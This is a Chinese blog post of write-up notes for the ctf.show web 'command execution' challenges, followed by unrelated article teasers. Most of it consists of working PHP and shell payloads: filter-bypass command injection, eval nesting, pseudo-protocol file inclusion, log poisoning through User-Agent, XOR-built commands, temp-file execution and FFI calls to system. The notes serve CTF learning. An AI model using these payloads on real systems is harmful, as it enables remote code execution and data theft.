ctf_show笔记篇(web入门---命令执行)

 

目录

 

命令执行

29:有很多种方法可以使用内联法例如system('cat `ls`')或者像它提示的一样echo `nl fl""ag.php`

30:这里与29题原理相同只不过多禁用了一个system和php####请通过29题举一反三

31:这一题有多种解法看自身理解,答案不唯一

32:这一题还是一样多种解法这里演示两种

33-36:同样还是使用文件包含就能过,($_GET[参数],这里的参数可以是数字或者字母带小飘或者不带小飘,例如:'a'和a)

37-39:这一题用伪协议随便过(简单的文件包含)

40:通过他的正则能直到只能使用类似于abc()这样的类型进行注入,明显的无参数注入

41:这里建议去看这篇博文,光看payload直接拿flag学不到东西,先理解原理在结合羽师傅给的脚本分析然后自己写一个脚本

42-52:全都是和隔断相关的,如果不隔断他会和 >/dev/null直接丢到垃圾桶相当于是

53:还是同样的直接c""at${IFS}fl""ag.p""hp

54:这里就要用点骚操作了,用绝对路径来调用cat函数,例如/bin/?at,或者ca?,再或者改名再查看,复制也行。反正就是你能想到怎么绕过就去做,解法不唯一

55:两种解法

56:可用55题的第二方法解开

57:应该是想让了解linux的运算符

58-65:这集体将命令执行的权限禁用了,例如system这一类执行命令的都不行

66:这里将flag换了个地方

67:这里把print_r和show_source禁用了

68:这里又把highlight_file禁用了

69:这里又禁用了var_dump

70:和69一样但是禁用了其他的东西

71:从源代码看,这里开启了缓冲区

72-74:到这里似乎就禁止进行文件扫描了

75:这里学到了一个新方法

76:这里使用php的另一个模块连接mysql

77:这里使用的是只有php7.4以上才有的模块ffi

118:这里学到了新东西,关于linux的一些特殊的变量,例如环境变量

119:和118大致也是同理,通过利用系统的变量来做题

120:和前两题一样只不过把过滤写出来了(可举一反三)

121:也是一样的只是把USER和其他的也禁用了

122:

124:


命令执行

29:有很多种方法可以使用内联法例如system('cat `ls`')或者像它提示的一样echo `nl fl""ag.php`

nl和cat的区别就是nl会列出文件内容并且带有行号

30:这里与29题原理相同只不过多禁用了一个system和php####请通过29题举一反三

31:这一题有多种解法看自身理解,答案不唯一

get嵌套

利用了eval()函数再写了一个$_GET['s']来接受变量,这样可以完全绕过所有验证

最后payload:c=eval($_GET['s']);&s=system('cat flag.php')

passthru()虽然system被禁用了但是还有很多可以调用系统命令的函数

例如:exec,shell_exec(),popen()之类的,可自行尝试

pyload:

c=passthru("c\at\$IFS\$1fla*");

最后还可以使用无参数rce,就像给的提示一样

32:这一题还是一样多种解法这里演示两种

第一种通过include包含文件

payload:

c=include$_GET["a"]?>&a=data://text/plain,<?php%20eval(system("cat%20flag.php"));?>

这个符号?>是应为防护里过滤了;符号,所以我们直接将后面的代码全部不要了直接闭合

例如:

<?php include$_GET["a"]?>preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c));?>

a后面使用的是伪协议也可以使用php://filter/read=convert.base64-encode/resource=flag.php

其他的伪协议也可以使用

第二种利用系统的日志文件写入代码然后访问利用(!!!这里的前提是可以访问到日志)

payload:

c=include$_GET["a"]?>&a=../../../../var/log/nginx/access.log

先随便刷新然后写入代码让日志文件记住

然后再刷新再写入我们包含日志文件的代码

bp抓包在user—agent写入代码

原理:日志文件会自动收集user—agent的信息,然后通过文件包含include命令来引用日志文件。

33-36:同样还是使用文件包含就能过,($_GET[参数],这里的参数可以是数字或者字母带小飘或者不带小飘,例如:'a'和a)

37-39:这一题用伪协议随便过(简单的文件包含)

例如:data://text/plain;base64,base64加密后的命令

如果传入参数后会有自动添加点东西可用//注释掉###如果有影响才会去注释它

例如:?c=data://text/palin,<?php%20eval(system(%27cat%20`ls`%27));?>//

40:通过他的正则能直到只能使用类似于abc()这样的类型进行注入,明显的无参数注入

例子:

1.eval(implode(getallheaders()))

函数getallfeaders函数获取全部传入的head信息但是返回的是数组,而eval只能接收字符串,所以需要用implode转化为字符串,

例如:

php版本不同getallheaders读取的顺序也会不同,这里的环境是从最后读取的,所以在最后加上了//来注释掉后面的head信息

2.show_source(next(array_reverse(scandir(pos(localeconv())))));

1)函数localeconv会返回一包含本地数字及货币格式信息的数组,这里主要是他返回的第一个字符串“  .  ”

2)pos函数可以输出数组里的第一个值,刚好可以拿来读localeconv返回的数组的第一个值“ . ”

3)scandir函数返回指定目录中的文件和目录的数组,因为pos(localeconv())两个函数结合起来输出刚好是“ . ”,所以scandir(.)扫的是当前目录

4)array_reverse翻转数组,就是将scandir扫的目录返回的数组倒过来

5)next()将数组指针指向下一个

6)show_source查看源码

41:这里建议去看这篇博文,光看payload直接拿flag学不到东西,先理解原理在结合羽师傅给的脚本分析然后自己写一个脚本

#大致意思就是通过php的这四个运算符来构造新的字符串来执行命令

RCE篇之无数字字母rce - 学安全的小白 - 博客园 (cnblogs.com)

原理:

异或^:数字相同为1不同为0(1^1=1,1^0=0),利用这个特性来构造字符串

例如:'a'^'$'=E

按位或运算|:参与运算的两个数转化为二进制后,全为1则取1,如果是1和0这种还是取1

例如:101|100=101        101|101=101    100|100=100

按位与运算&:参与运算的两个数转化为二进制后,全为1则取1,存在0时取0

例如:101&100=100        101&101=101       100&100=100

42-52:全都是和隔断相关的,如果不隔断他会和 >/dev/null直接丢到垃圾桶相当于是

####这些题出出来估计是为了加强记忆用的

  1. 隔断可以用%0a或者||之类的都可以
  2. 空格绕过:$IFS  $IFS$随便一个数字  ${IFS}  %09  %20  <  <>###这最后两个是重定向符号,因起原理也可以用来当作空格使用
  3. 查看文件:cat  tac(倒过来读取文件)  nl(显示的时候顺便输出行号)  sort(可以查看)  head(读取前几行)  more(一页一页的读取也可以用来查看)  uniq(可以查看)  less  tail  od

53:还是同样的直接c""at${IFS}fl""ag.p""hp

54:这里就要用点骚操作了,用绝对路径来调用cat函数,例如/bin/?at,或者ca?,再或者改名再查看,复制也行。反正就是你能想到怎么绕过就去做,解法不唯一

payload:/bin/?at${IFS}f???????            ca?${IFS}fla?.php           mv${IFS}fla?.php${IFS}1.txt然后ca?${IFS}1.txt          

55:两种解法

1.看过payload后直到的一种骚操作,但是有局限性

利用/bin/base64加密文件然后会输出的特性,这里的前提是可以输数字

payload:/???/????64 ????????

2.另一种是通过上传文件然后用符号.调用执行文件

#####一种很新奇的解题方式

第一个知识点:

通过post上传文件,此时php会在linux里的零时文件夹保存文件,且文件一定是php加上六个随机的字符      /tmp/php??????

这个应php保存的临时文件会有一个特性,就是这6个随机的字符会出现大写的情况

例如:

普通文件/tmp/adcabcabc

php保存的临时文件/tmp/phpAvxAsa

第二个知识点:

现在直到了文件上传的位置以及特性那么现在要怎么利用它

  1. shell下支持使用. 来执行文件
  2. linux支持glob通配符代替文件名

例如我们需要利用到/tmp/phpFsGFKd这个文件,他和其他文件的区别就是php保存的临时文件会有大写字母的出现,而glob支持利用[0-9]来表示一个范围,这就很好的解决了问题,

可以使用[@-[]这两个字符之间真好是全部大写字母,放在最后正好可以用来匹配文件名最后出现了大写字母的文件

payload:.%20/???/????????[@-[]

完整流程

用html写一个提交post文件的页面

例如:

56:可用55题的第二方法解开

57:应该是想让了解linux的运算符

想了解更详细可以去看这篇博文

linux之${ }、[ ]、$( )、$[ ]、$(( ))、[[ ]]、(( ))的作用_linux $[]-CSDN博客

这里flag放在36里面,但是数字被禁掉

在linux里$(())是运算符,例如:$((1+2))=3      如果$(())这样用他会算出0

而~是取反符号如果这样用,例如:~$((1+2))= -4      如果$(())返回0的话~$(())这样用就会返回-1

例子:

$((~$(())~$(())))=$((-1-1))= -2         ~$((~$(())~$(())))=~$((-1-1))=1

转化为负数会减少一位,那么按照这个原理在里面放37个~$(())然后再用$(())包裹起来就会得到36

payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

58-65:这集体将命令执行的权限禁用了,例如system这一类执行命令的都不行

####这里每一题基本都是一样的,可以尝试多种不同的无参数rce,或者include文件包含这一类

方案一(include文件包含):

c=include($_POST['a']);&a=php://filter/read=convert.base64-encode/resource=flag.php

或者####在没有过滤参数c的情况下

c=include('flag.php');

方案二(使用php内置函数):

  1. show_source()    highlight_file():
    show_source('flag.php');        highlight_file('flag.php');
    这两个函数都是用来高亮显示文件内容

66:这里将flag换了个地方

var_cump(scandir('/'));

67:这里把print_r和show_source禁用了

这里使用var_dump()替换print_r

var_dump(scandir('/'));扫描根目录文件并输出

highlight_file('/flag.txt');读取文件

68:这里又把highlight_file禁用了

不能显示文件可以使用var_dump输出变量信息

var_dump(scandir('/'));扫描文件

这里用文件包含绕过

c=include('/flag.txt')

69:这里又禁用了var_dump

可以用echo替换,但是echo只能输出字符串,所以使用implode将数组转换为字符串

c=echo(implode('!',scandir('/')));使用!来隔开每个文件名,不然黏在一起的

c=include('/flag.txt');

70:和69一样但是禁用了其他的东西

71:从源代码看,这里开启了缓冲区

ob_get_contents返回内部缓冲区内容

ob_end_clean则会清除缓冲区内容并且关闭

方案一:退出缓冲区以后后面它的命令就不会执行

提前退出缓冲区不让他进去###ob_end_flush释放内部缓冲区的内容,并关闭缓冲区

c=echo(implode('~~~',scandir('/')));ob_end_flush();

c=include('/flag.txt');ob_end_flush();

方案二:

执行完我们的程序后直接结束

c=echo(implode('~~~',scandir('/')));exit();

c=include('/flag.txt');exit();

72-74:到这里似乎就禁止进行文件扫描了

这里通过搜索资料学到的新东西

关于php的DirectoryIterator迭代器

  1. DirectoryIterator迭代器大概就是一个遍历目录的一个php的库,它可以指定需要遍历的文件然后给一个变量
  2. 然后通过foreach函数一个一个交给另一个变量,就从数组变成了字符串
  3. 可以使用很多关于文件信息的函数,例如下图的isdir()就是判断给定的文件是否是一个目录
  4. 最后在通过方法名来输出,例如下图的getFilename()获取当前Iterator item文件名(带扩展名)

这里列出一些常用的信息名以及方法名

信息名:

file_exists()该文件是否存在    is_dir()该文件是否是一个目录    is_file()该文件是否是一个正常文件

方法名:

getPathname()获取当前itorator item路径名

getFilename()获取当前itorator itrm文件名带拓展名

getPath()获取当前itorator itrm的路径名

payload:###glob://用来查找匹配文件路径的

?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->getFilename().'  ');
} 
exit(0);
?>

75:这里学到了一个新方法

这一题include被限制了,而uaf poc因为strlen被禁了获取不到system地址也没法用

首先还是使用DirectoryIterator模块来扫描目录

?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->getFilename().'  ');
} 
exit(0);
?>

这里就用到了数据库的load_file来查询了

首先连接数据库

$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining");

                                        本地服务器  用户名   密码   数据库名称

设置sql语句

$sql='select load_file("/flag36.txt")';

执行sql语句并且使用变量result接收

$result = mysqli_query($conn, $sql);

最后使用mysqli_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有 返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

while($ccc=mysqli_fetch_array($result){ echo $ccc['a']; } exit();

最后payload:

$conn = mysqli_connect("127.0.0.1", "root", "root", "ctftraining"); $sql='select load_file("/flag36.txt") as a'; $result = mysqli_query($conn, $sql); while($ccc=mysqli_fetch_array($result){ echo $ccc['a']; } exit();

76:这里使用php的另一个模块连接mysql

 首先还是使用DirectoryIterator模块来扫描目录

?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo($f->getFilename().'  ');
} 
exit(0);
?>

PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。

PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。

PDO随PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本。

try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

77:这里使用的是只有php7.4以上才有的模块ffi

FFI提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。

其实现有大量的PHP扩展是对一些已有的C库的包装,某些常用的mysqli,curl,gettext等,PECL中也有大量的类似扩展。

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

最后在去访问1.txt

118:这里学到了新东西,关于linux的一些特殊的变量,例如环境变量

payload:${PATH:~A}${PWD:~A}$IFS????.???

                这里猜测${PATH:~A}${PWD:~A}应该是是拿取的nl之类的读取文件的函数

  1. ${PATH:~A}有点类似于python里的元组或者集合,或者说是字典
    例如:
    a =’ 1234‘
    ${a:~A}这样就可以取出最后一个字符4或者${a:1}就会从第二个取出来到最后一个或者${a:2:4}就会取出第3个到第5个,(起始位标是0)
  2. PATH:环境变量的一种,${PATH:~A}的意思大致就是取PATH环境变量的最后一个字符
    例如:
  3. PWD:也是一种环境变量,他会一直显示当前所在的目录
    例如:

119:和118大致也是同理,通过利用系统的变量来做题

119题是把环境变量path禁用了,所以这里用其他的

这里的思路:

直接构造cat函数的绝对路径来利用cat读取flag.php

payload:

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

大致意思:

${PWD:${#}:${#SHLVL}}    >        ${PWD:1:1}      >        /        (${#}=1,${#SHLVL}=1)

${HOME:${#HOSTNAME}:${#SHLVL}}   >    

  1. ${#}:输出0         ${##}和${#?}:输出1          (只能计算这两个再多都会置零)
  2. ${#IFS}=3    (在linux里$IFS占三位,mac占四位)
  3. $HOME:家目录的环境变量
  4. $SHLVL:这里的shell只有一层嵌套所以是1
    SHLVL记录了bash Shell嵌套的层次,当启动第一个Shell时, $SHLVL=1,如果在这个Shell中执行脚本,脚本中的SHLVL为2,如果脚本再执行子脚本,子脚本中的SHLVL就变为3了。
  5. ${#PATH}:会计算PATH里的长度,类似于python里的len函数
  6. {}:应该是计算符
  7. $USER:当前用户吧

120:和前两题一样只不过把过滤写出来了(可举一反三)

payload:

${PWD::${##}}???${PWD::${##}}?${USER:~A}?$IFS????.???

####我的环境$USER是root,ctfshow的不是所以这里是正常的

121:也是一样的只是把USER和其他的也禁用了

首先通过它之前的关卡可以直到他的$PWD显示的当前路径是:/var/www/html

这里可以用到里面的r

payload:

${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${#?}}??$IFS????.???

这里利用的是/bin/rev和tac的作用差不多,倒过来查,利用python跑脚本就能倒过来,其他的也行

122:

这里通过$?来实现,当上一条命令执行结束后的并且成功$?=0,如果失败则$?=1,所以这次需要多次刷新来实现$?=${##}=1

payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

<A;这个使用来让他第一条命令执行失败的

$RANDOM会生成随机数,每一次使用都不一样,这里我们要利用的是base64,所以需要刷新很多次直到${RANDOM::$?}取到4

124:

payload:

/?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));$$cos{1}($$cos{2})&1=system&2=cat+flag.php

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/423846.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

关于阿里云oss的冗余存储类型问题

不得不说一个问题&#xff0c;阿里云服务方便我们的同时 &#xff0c;他们的文档写的是真的差劲。 东一块&#xff0c;西一块的。非常不好系统的阅读&#xff0c;文档结构比较散。 关于阿里云oss的冗余存储类型问题&#xff0c;这里说一下&#xff0c;简直是个坑。 首页阿里…

基于springboot+vue的在线考试与学习交流平台

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

【C语言】熟悉文件基础知识

欢迎关注个人主页&#xff1a;逸狼 创造不易&#xff0c;可以点点赞吗~ 如有错误&#xff0c;欢迎指出~ 文件 为了数据持久化保存&#xff0c;使用文件&#xff0c;否则数据存储在内存中&#xff0c;程序退出&#xff0c;内存回收&#xff0c;数据就会丢失。 程序设计中&…

【UEFI实战】BIOS中的openssl

BIOS中的openssl openssl是一个密码库或者密码工具&#xff0c;在密码学基础_hex string is too short, padding with zero bytes t-CSDN博客介绍了基本的密码学概念已经openssl工具的使用&#xff0c;而这里将介绍BIOS下如何使用openssl。 在开源的BIOS代码库EDK中包含一个C…

【接口测试】常见HTTP面试题

目录 HTTP GET 和 POST 的区别 GET 和 POST 方法都是安全和幂等的吗 接口幂等实现方式 说说 post 请求的几种参数格式是什么样的&#xff1f; HTTP特性 HTTP&#xff08;1.1&#xff09; 的优点有哪些&#xff1f; HTTP&#xff08;1.1&#xff09; 的缺点有哪些&#x…

车灯修复UV胶的优缺点有哪些?

车灯修复UV胶的优点如下&#xff1a; 优点&#xff1a; 快速固化&#xff1a;通过紫外光照射&#xff0c;UV胶可以在5-15秒内迅速固化&#xff0c;提高了修复效率。高度透明&#xff1a;固化后透光率高&#xff0c;几乎与原始车灯材料无法区分&#xff0c;修复后车灯外观更加…

web漏洞与规避

文章目录 一、XSS 跨站脚本攻击1.1 XSS攻击的主要类型反射型XSS存储型XSSDOM型XSS 1.2 前端开发如何应对XSS 二、CSRF 跨站请求伪造2.1 CSRF例子2.2 前端开发如何应对CSRF 三、SQL 注入3.1 前端如何防御SQL注入 四、前端如何使用CSP 一、XSS 跨站脚本攻击 攻击者通过在受害者的…

基于springboot+vue的装饰工程管理系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

重学Springboot3-@ConditionalOnXxx条件注解

重学Springboot3-ConditionalOnXxx条件注解 引言常见的条件注解常见的条件注解示例扩展条件注解1. ConditionalOnJndi2. ConditionalOnJava3. ConditionalOnCloudPlatform4. ConditionalOnEnabledResourceChain5. 自定义条件注解 总结 引言 Spring Boot 提供了一组强大的条件注…

AutoEncoder和 Denoising AutoEncoder学习笔记

参考&#xff1a; 【1】 https://lilianweng.github.io/posts/2018-08-12-vae/ 写在前面&#xff1a; 只是直觉上的认识&#xff0c;并没有数学推导。后面会写一篇&#xff08;抄&#xff09;大一统文章&#xff08;概率角度理解为什么AE要选择MSE Loss&#xff09; TOC 1 Au…

Python解释器及PyCharm安装教程

PyCharm官方下载地址☞https://www.jetbrains.com/pycharm/download/?sectionwindows Python解释器官方下载地址☞ https://www.python.org/downloads/windows/

实践航拍小目标检测,基于YOLOv8全系列【n/s/m/l/x】参数模型开发构建无人机航拍场景下的小目标检测识别分析系统

关于无人机相关的场景在我们之前的博文也有一些比较早期的实践&#xff0c;感兴趣的话可以自行移步阅读即可&#xff1a; 《deepLabV3Plus实现无人机航拍目标分割识别系统》 《基于目标检测的无人机航拍场景下小目标检测实践》 《助力环保河道水质监测&#xff0c;基于yolov…

【C++】十大排序算法之 冒泡排序 选择排序

本次介绍内容参考自&#xff1a;十大经典排序算法&#xff08;C实现&#xff09; - fengMisaka - 博客园 (cnblogs.com) 排序算法是《数据结构与算法》中最基本的算法之一。 十种常见排序算法可以分为两大类&#xff1a; 比较类排序&#xff1a;通过比较来决定元素间的相对次序…

Golang 调度器 GPM模型

Golang 调度器 GPM模型 1 多进程/线程时代有了调度器需求 在多进程/多线程的操作系统中&#xff0c;就解决了阻塞的问题&#xff0c;因为一个进程阻塞cpu可以立刻切换到其他进程中去执行&#xff0c;而且调度cpu的算法可以保证在运行的进程都可以被分配到cpu的运行时间片。这…

腾讯云幻兽帕鲁服务器使用Linux和Windows操作系统,对用户的技术要求有何不同?

腾讯云幻兽帕鲁服务器使用Linux和Windows操作系统对用户的技术要求有何不同&#xff1f; 首先&#xff0c;从操作界面的角度来看&#xff0c;Windows操作系统相对简单易操作&#xff0c;适合那些偏好使用图形化界面操作的用户。而Linux操作系统则需要通过命令行完成&#xff0…

网络爬虫部分应掌握的重要知识点

目录 一、预备知识1、Web基本工作原理2、网络爬虫的Robots协议 二、爬取网页1、请求服务器并获取网页2、查看服务器端响应的状态码3、输出网页内容 三、使用BeautifulSoup定位网页元素1、首先需要导入BeautifulSoup库2、使用find/find_all函数查找所需的标签元素 四、获取元素的…

图论 - 二分图(染色法、匈牙利算法)

文章目录 前言Part 1&#xff1a;染色法判定二分图1.题目描述输入格式输出格式数据范围输入样例输出样例 2.算法 Part 2&#xff1a;匈牙利算法求二分图的最大匹配1.题目描述输入格式输出格式数据范围输入样例输出样例 2.算法 前言 本篇博客将介绍两种二分图有关的算法&#xf…

CSS【详解】居中对齐 (水平居中 vs 垂直居中)

水平居中 内部块级元素的宽度要小于容器(父元素) 方案一&#xff1a;文本居中对齐&#xff08;内联元素&#xff09; 限制条件&#xff1a;仅用于内联元素 display:inline 和 display: inline-block; 给容器添加样式 text-align:center<!DOCTYPE html> <html lang&q…

微软为金融界带来革命性突破——推出Microsoft 365中的下一代AI助手:Microsoft Copilot for Finance

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

阿里云搭建私有docker仓库(学习)

搭建私有云仓库 首先登录后直接在页面搜索栏中搜索“容器镜像服务” 进入后直接选择个人版&#xff08;可以免费使用&#xff09; 选择镜像仓库后创建一个镜像仓库 在创建仓库之前我们先创建一个命名空间 然后可以再创建我们的仓库&#xff0c;可以与我们的github账号进行关联…